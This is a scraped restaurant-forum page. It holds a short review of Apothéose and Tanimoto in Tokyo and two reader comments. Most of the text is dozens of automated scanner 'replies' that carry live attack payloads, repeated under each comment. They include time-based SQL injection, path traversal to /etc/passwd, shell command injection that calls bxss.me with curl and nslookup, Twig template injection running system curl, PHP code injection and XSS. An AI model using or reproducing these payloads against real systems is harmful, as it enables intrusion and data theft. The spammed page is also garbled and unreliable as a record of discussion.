Tokyo Table Trip

Logo discover 8a060a5a25d78a2d81322b0a16884eb1c05869ebadb772a16350e198984e5cfb

BACK

Apothéose (French), Tanimoto (kaiseki)

mirugai

Hi all---just wanted to offer a couple of endorsements of places I've visited recently that I think deserve a little more exposure. Tried both in late May / early June. Take everything with a pinch of salt because I'm hardly an expert.

---

Apothéose: recently opened at Tokyo Node in Toranomon Hills. You can read all about the chef's history and the restaurant at https://apotheose.jp/en/about/. I was slightly concerned that it would be all about the 49th floor setting (which is absolutely stunning, especially if you can time dinner to span sunset) but I came away extremely impressed overall. I called it French in the title, and that makes sense as a reference point, but the food has an extremely international sensibility and so I wouldn't want to pin it down.

My meal was close to flawless. Flavors are perfectly balanced, light but complex, clever without being needlessly challenging. Every dish had precision and a point of view. Wine list has smart, cheaper, trendy bottles (e.g. Jura, Loire) to go along with the expected old favorites, and the somm was a pleasure to talk to. Service and design impeccable. One of the most impressive new restaurants. It's medium pricey. Reservations currently extremely easy but in my opinion deserve to be more difficult.

---

Tanimoto: less new, less under the radar, but another place with easy reservations that, for me, is superior to a lot of more difficult ones. Relocated to Kagurazaka and the space is nice. I went for lunch; it's the same course as dinner but I very much appreciate a good kaiseki lunch when available.

Overall one of the best Japanese meals I've had in Tokyo in a long while. Nothing too fancy in terms of showy ingredients or huge portions, but very satisfying. The soup course (suppon dumpling) was an eleven out of ten. A few other courses were a ten. Service relatively relaxed for this kind of place. Similarly, the cooks seemed to all be operating smoothly and without any anxiety, which in my experience is quite unusual for a kaiseki place with a decent-sized staff. I wouldn't go expecting a lot of innovation, but it fits what I personally am looking for in this kind of meal, and offers decent value for money compared to some of its peers.

---

Add photos

2 Comments


Thanks. Apothéose is on my list. Hoping/waiting for them to open for lunch :)

1719136781 Reply
Add photos

re: thetokyogourmet

1HQB6SF635H0

1753901065

re: thetokyogourmet

response.write(9394474*9824229)

1753901068

re: thetokyogourmet

'+response.write(9394474*9824229)+'

1753901069

re: thetokyogourmet

"+response.write(9394474*9824229)+"

1753901071

re: thetokyogourmet

../../../../../../../../../../../../../../etc/passwd

1753901074

re: thetokyogourmet

../../../../../../../../../../../../../../windows/win.ini

1753901074

re: thetokyogourmet


<esi:include src="http://bxss.me/rpb.png"/>

1753901075

re: thetokyogourmet

file:///etc/passwd

1753901075

re: thetokyogourmet

${9999127+9999549}

1753901075

re: thetokyogourmet

../

1753901076

re: thetokyogourmet

)

1753901080

re: thetokyogourmet

!(()&&!|*|*|

1753901081

re: thetokyogourmet

redirtest.acx

1753901082

re: thetokyogourmet

^(#$!@#$)(()))******

1753901082

re: thetokyogourmet

'.gethostbyname(lc('hitok'.'jxrmbdsl2ac3a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(73).chr(102).chr(86).'

1753901088

re: thetokyogourmet

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

1753901088

re: thetokyogourmet

echo bzpsaa$()\ cgeqpg\nz^xyu||a #' &echo bzpsaa$()\ cgeqpg\nz^xyu||a #|" &echo bzpsaa$()\ cgeqpg\nz^xyu||a #

1753901088

re: thetokyogourmet

".gethostbyname(lc("hitfy"."kpiuuhqne9fbd.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(66).chr(102).chr(86)."

1753901088

re: thetokyogourmet

/etc/shells

1753901089

re: thetokyogourmet

&echo hgocol$()\ xkqxxr\nz^xyu||a #' &echo hgocol$()\ xkqxxr\nz^xyu||a #|" &echo hgocol$()\ xkqxxr\nz^xyu||a #

1753901089

re: thetokyogourmet

gethostbyname(lc('hityy'.'tdssvhzj59177.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(86).chr(109).chr(83)

1753901089

re: thetokyogourmet

../../../../../../../../../../../../../../etc/shells

1753901089

re: thetokyogourmet

|echo oyzmjq$()\ jecatb\nz^xyu||a #' |echo oyzmjq$()\ jecatb\nz^xyu||a #|" |echo oyzmjq$()\ jecatb\nz^xyu||a #

1753901090

re: thetokyogourmet

c:/windows/win.ini

1753901090

re: thetokyogourmet

expr 9000445850 - 973998

1753901090

re: thetokyogourmet

bxss.me

1753901091

re: thetokyogourmet

(nslookup -q=cname hittrbskrvqyw6356b.bxss.me||curl hittrbskrvqyw6356b.bxss.me))

1753901091

re: thetokyogourmet

1753901092

re: thetokyogourmet

$(nslookup -q=cname hitrpbysebgnm526ae.bxss.me||curl hitrpbysebgnm526ae.bxss.me)

1753901092

re: thetokyogourmet

ctime
sleep
p0
(I30
tp1
Rp2
.

1753901092

re: thetokyogourmet

1753901092

re: thetokyogourmet

&nslookup -q=cname hitaevrtvfvlw704be.bxss.me&'\"`0&nslookup -q=cname hitaevrtvfvlw704be.bxss.me&`'

1753901093

re: thetokyogourmet

'"()

1753901093

re: thetokyogourmet

&(nslookup -q=cname hitbouauuodmi199a3.bxss.me||curl hitbouauuodmi199a3.bxss.me)&'\"`0&(nslookup -q=cname hitbouauuodmi199a3.bxss.me||curl hitbouauuodmi199a3.bxss.me)&`'

1753901093

re: thetokyogourmet

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1753901094

re: thetokyogourmet


'&&sleep(27*1000)*nrxruu&&'

1753901094

re: thetokyogourmet

|(nslookup -q=cname hitrnssilikvw1511a.bxss.me||curl hitrnssilikvw1511a.bxss.me)

1753901094

re: thetokyogourmet

';print(md5(31337));$a='

1753901094

re: thetokyogourmet


"&&sleep(27*1000)*iddkrt&&"

1753901095

re: thetokyogourmet

`(nslookup -q=cname hitvvfpmvplji43125.bxss.me||curl hitvvfpmvplji43125.bxss.me)`

1753901095

re: thetokyogourmet

";print(md5(31337));$a="

1753901095

re: thetokyogourmet


'||sleep(27*1000)*lqhapm||'

1753901095

re: thetokyogourmet

;(nslookup -q=cname hitlepmutreyhf7776.bxss.me||curl hitlepmutreyhf7776.bxss.me)|(nslookup -q=cname hitlepmutreyhf7776.bxss.me||curl hitlepmutreyhf7776.bxss.me)&(nslookup -q=cname hitlepmutreyhf7776.bxss.me||curl hitlepmutreyhf7776.bxss.me)

1753901096

re: thetokyogourmet

${@print(md5(31337))}

1753901096

re: thetokyogourmet


"||sleep(27*1000)*xpplyn||"

1753901096

re: thetokyogourmet

|(nslookup${IFS}-q${IFS}cname${IFS}hitorzlwsrsjd20710.bxss.me||curl${IFS}hitorzlwsrsjd20710.bxss.me)

1753901097

re: thetokyogourmet

${@print(md5(31337))}\

1753901097

re: thetokyogourmet

&(nslookup${IFS}-q${IFS}cname${IFS}hitdtppdohgrkc2909.bxss.me||curl${IFS}hitdtppdohgrkc2909.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdtppdohgrkc2909.bxss.me||curl${IFS}hitdtppdohgrkc2909.bxss.me)&`'

1753901097

re: thetokyogourmet

'.print(md5(31337)).'

1753901098

re: thetokyogourmet

1753901099

re: thetokyogourmet

bxss.me/t/xss.html?%00

1753901100

re: thetokyogourmet

"+"A".concat(70-3).concat(22*4).concat(117).concat(78).concat(111).concat(81)+(require"socket"
Socket.gethostbyname("hitnm"+"wgkhwvsj7d520.bxss.me.")[3].to_s)+"

1753901101

re: thetokyogourmet

'+'A'.concat(70-3).concat(22*4).concat(122).concat(73).concat(97).concat(69)+(require'socket'
Socket.gethostbyname('hithk'+'gkqxzokcc6af3.bxss.me.')[3].to_s)+'

1753901102

re: thetokyogourmet

'A'.concat(70-3).concat(22*4).concat(112).concat(76).concat(113).concat(73)+(require'socket'
Socket.gethostbyname('hitto'+'ldwtoaad4c3cb.bxss.me.')[3].to_s)

1753901102

re: thetokyogourmet

replies

1753901105

re: thetokyogourmet

'"

1753901105

re: thetokyogourmet

replies

1753901106

re: thetokyogourmet

<!--

1753901106

re: thetokyogourmet

replies/.

1753901106

re: thetokyogourmet


'"()&%<zzz><ScRiPt >7z4i(9478)</ScRiPt>

1753901110

re: thetokyogourmet

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitdjtpmnzskv2fe49.bxss.me")}}

1753901111

re: thetokyogourmet

'"()&%<zzz><ScRiPt >7z4i(9112)</ScRiPt>

1753901112

re: thetokyogourmet


9593411

1753901113

re: thetokyogourmet


4En9gXW1

1753901275

re: thetokyogourmet


*1

1753901280

re: thetokyogourmet


*1

1753901280

re: thetokyogourmet


*1

1753901281

re: thetokyogourmet


*1

1753901282

re: thetokyogourmet

-1 OR 5*5=25 --

1753901282

re: thetokyogourmet

-1 OR 5*5=26 --

1753901283

re: thetokyogourmet

-1 OR 5*5=25

1753901283

re: thetokyogourmet

-1 OR 5*5=26

1753901284

re: thetokyogourmet


*if(now()=sysdate(),sleep(15),0)

1753901290

re: thetokyogourmet


0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

1753901295

re: thetokyogourmet


0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

1753901300

re: thetokyogourmet

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1753901305

re: thetokyogourmet


-1; waitfor delay '0:0:15' --

1753901311

re: thetokyogourmet


-1); waitfor delay '0:0:15' --

1753901315

re: thetokyogourmet


-1 waitfor delay '0:0:15' --

1753901321

re: thetokyogourmet


K7TPGQrX'; waitfor delay '0:0:15' --

1753901326

re: thetokyogourmet


-1 OR 55=(SELECT 55 FROM PG_SLEEP(15))--

1753901331

re: thetokyogourmet


-1) OR 72=(SELECT 72 FROM PG_SLEEP(15))--

1753901337

re: thetokyogourmet


-1)) OR 800=(SELECT 800 FROM PG_SLEEP(15))--

1753901342

re: thetokyogourmet


4ILJoRJ4' OR 465=(SELECT 465 FROM PG_SLEEP(15))--

1753901348

re: thetokyogourmet


ZEZ6888u') OR 638=(SELECT 638 FROM PG_SLEEP(15))--

1753901353

re: thetokyogourmet


CL01Qk8D')) OR 530=(SELECT 530 FROM PG_SLEEP(15))--

1753901358

re: thetokyogourmet


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1753901364

re: thetokyogourmet


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1753901368

re: thetokyogourmet

'||(select 1 from (select pg_sleep(15))x)||'

1753901373

re: thetokyogourmet

''||(select 1 from (select pg_sleep(15))x)||''

1753901379

re: thetokyogourmet


'"

1753901380

re: thetokyogourmet

@@YlcPD

1753901383

re: thetokyogourmet

(select 198766*667891)

1753901383

re: thetokyogourmet

(select 198766*667891 from DUAL)

1753901384

Anyone went to ERh before that can comment on the new restaurant? I was not impressed a couple years ago by ERH but wonder if returning to Japan does the magic

1720383834 Reply
Add photos

re: guest

1DPANF74MGG0

1753901155

re: guest

response.write(9979125*9038439)

1753901158

re: guest

'+response.write(9979125*9038439)+'

1753901159

re: guest

"+response.write(9979125*9038439)+"

1753901159

re: guest

../../../../../../../../../../../../../../etc/passwd

1753901161

re: guest

../../../../../../../../../../../../../../windows/win.ini

1753901162

re: guest

file:///etc/passwd

1753901163

re: guest


<esi:include src="http://bxss.me/rpb.png"/>

1753901163

re: guest

${9999186+9999571}

1753901163

re: guest

../

1753901164

re: guest

)

1753901171

re: guest

!(()&&!|*|*|

1753901172

re: guest

redirtest.acx

1753901172

re: guest

^(#$!@#$)(()))******

1753901173

re: guest

echo zjkuoh$()\ xzuovf\nz^xyu||a #' &echo zjkuoh$()\ xzuovf\nz^xyu||a #|" &echo zjkuoh$()\ xzuovf\nz^xyu||a #

1753901177

re: guest

'.gethostbyname(lc('hitkh'.'fewhkvpu48326.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(67).chr(105).chr(86).'

1753901178

re: guest

&echo fvrdlc$()\ xphkcd\nz^xyu||a #' &echo fvrdlc$()\ xphkcd\nz^xyu||a #|" &echo fvrdlc$()\ xphkcd\nz^xyu||a #

1753901178

re: guest

".gethostbyname(lc("hitcy"."dhehwwqab5631.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(87).chr(120).chr(65)."

1753901178

re: guest

|echo lbquak$()\ wpjkas\nz^xyu||a #' |echo lbquak$()\ wpjkas\nz^xyu||a #|" |echo lbquak$()\ wpjkas\nz^xyu||a #

1753901178

re: guest

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

1753901179

re: guest

gethostbyname(lc('hitci'.'zaxtlvncd6159.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(79).chr(109).chr(90)

1753901179

re: guest

expr 9000102377 - 955375

1753901179

re: guest

/etc/shells

1753901180

re: guest

(nslookup -q=cname hitiwqkcwjbbgb2863.bxss.me||curl hitiwqkcwjbbgb2863.bxss.me))

1753901180

re: guest

../../../../../../../../../../../../../../etc/shells

1753901180

re: guest

$(nslookup -q=cname hittxesaxnueua8195.bxss.me||curl hittxesaxnueua8195.bxss.me)

1753901181

re: guest

c:/windows/win.ini

1753901181

re: guest

&nslookup -q=cname hitbzndsaisbf3e914.bxss.me&'\"`0&nslookup -q=cname hitbzndsaisbf3e914.bxss.me&`'

1753901181

re: guest

bxss.me

1753901182

re: guest

ctime
sleep
p0
(I30
tp1
Rp2
.

1753901182

re: guest

&(nslookup -q=cname hitpefjovtrku105c8.bxss.me||curl hitpefjovtrku105c8.bxss.me)&'\"`0&(nslookup -q=cname hitpefjovtrku105c8.bxss.me||curl hitpefjovtrku105c8.bxss.me)&`'

1753901182

1753901182

re: guest

|(nslookup -q=cname hitieqgueokox217eb.bxss.me||curl hitieqgueokox217eb.bxss.me)

1753901183

1753901183

re: guest

`(nslookup -q=cname hitdzwlmmjqta84de6.bxss.me||curl hitdzwlmmjqta84de6.bxss.me)`

1753901183

re: guest

;(nslookup -q=cname hitdqzxguayihefd29.bxss.me||curl hitdqzxguayihefd29.bxss.me)|(nslookup -q=cname hitdqzxguayihefd29.bxss.me||curl hitdqzxguayihefd29.bxss.me)&(nslookup -q=cname hitdqzxguayihefd29.bxss.me||curl hitdqzxguayihefd29.bxss.me)

1753901184

re: guest

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1753901184

re: guest

|(nslookup${IFS}-q${IFS}cname${IFS}hityoibxhzeek76324.bxss.me||curl${IFS}hityoibxhzeek76324.bxss.me)

1753901185

re: guest

';print(md5(31337));$a='

1753901185

re: guest

'"()

1753901185

re: guest

&(nslookup${IFS}-q${IFS}cname${IFS}hitxnglhpmnsa5d912.bxss.me||curl${IFS}hitxnglhpmnsa5d912.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxnglhpmnsa5d912.bxss.me||curl${IFS}hitxnglhpmnsa5d912.bxss.me)&`'

1753901185

re: guest

";print(md5(31337));$a="

1753901186

re: guest


'&&sleep(27*1000)*zxlnlq&&'

1753901186

re: guest

${@print(md5(31337))}

1753901186

re: guest


"&&sleep(27*1000)*gxmfvp&&"

1753901186

re: guest

${@print(md5(31337))}\

1753901187

re: guest


'||sleep(27*1000)*kfsyxz||'

1753901187

re: guest


"||sleep(27*1000)*mzzqvr||"

1753901188

re: guest

'.print(md5(31337)).'

1753901188

1753901188

re: guest

bxss.me/t/xss.html?%00

1753901189

re: guest

"+"A".concat(70-3).concat(22*4).concat(118).concat(72).concat(120).concat(87)+(require"socket"
Socket.gethostbyname("hitlf"+"idhkeoqb94d52.bxss.me.")[3].to_s)+"

1753901191

re: guest

'+'A'.concat(70-3).concat(22*4).concat(120).concat(70).concat(108).concat(73)+(require'socket'
Socket.gethostbyname('hitpw'+'cxgysbjx793c1.bxss.me.')[3].to_s)+'

1753901192

re: guest

'A'.concat(70-3).concat(22*4).concat(105).concat(82).concat(102).concat(90)+(require'socket'
Socket.gethostbyname('hitbr'+'dwtvaqok9f137.bxss.me.')[3].to_s)

1753901193

re: guest

replies

1753901194

re: guest

'"

1753901195

re: guest

replies

1753901195

re: guest

<!--

1753901195

re: guest

replies/.

1753901196

re: guest


'"()&%<zzz><ScRiPt >tShq(9619)</ScRiPt>

1753901200

re: guest

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hithzikxotcph01d3a.bxss.me")}}

1753901200

re: guest

'"()&%<zzz><ScRiPt >tShq(9969)</ScRiPt>

1753901201

re: guest


9840708

1753901201

re: guest


OqkwmaZi

1753901356

re: guest


*1

1753901363

re: guest


*1

1753901363

re: guest


*1

1753901364

re: guest


*1

1753901365

re: guest

-1 OR 5*5=25 --

1753901365

re: guest

-1 OR 5*5=26 --

1753901366

re: guest

-1 OR 5*5=25

1753901366

re: guest

-1 OR 5*5=26

1753901367

re: guest


*if(now()=sysdate(),sleep(15),0)

1753901371

re: guest


0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

1753901376

re: guest


0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

1753901381

re: guest

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1753901387

re: guest


-1; waitfor delay '0:0:15' --

1753901392

re: guest


-1); waitfor delay '0:0:15' --

1753901398

re: guest


-1 waitfor delay '0:0:15' --

1753901407

re: guest


7JUDdwUy'; waitfor delay '0:0:15' --

1753901411

re: guest


-1 OR 563=(SELECT 563 FROM PG_SLEEP(15))--

1753901416

re: guest


-1) OR 668=(SELECT 668 FROM PG_SLEEP(15))--

1753901421

re: guest


-1)) OR 739=(SELECT 739 FROM PG_SLEEP(15))--

1753901426

re: guest


aO1G579g' OR 508=(SELECT 508 FROM PG_SLEEP(15))--

1753901430

re: guest


sC1rpUFh') OR 25=(SELECT 25 FROM PG_SLEEP(15))--

1753901436

re: guest


E3Y7mciR')) OR 336=(SELECT 336 FROM PG_SLEEP(15))--

1753901441

re: guest


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1753901445

re: guest


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1753901449

re: guest

'||(select 1 from (select pg_sleep(15))x)||'

1753901453

re: guest

''||(select 1 from (select pg_sleep(15))x)||''

1753901458

re: guest


'"

1753901459

re: guest

@@giSX7

1753901461

re: guest

(select 198766*667891)

1753901462

re: guest

(select 198766*667891 from DUAL)

1753901463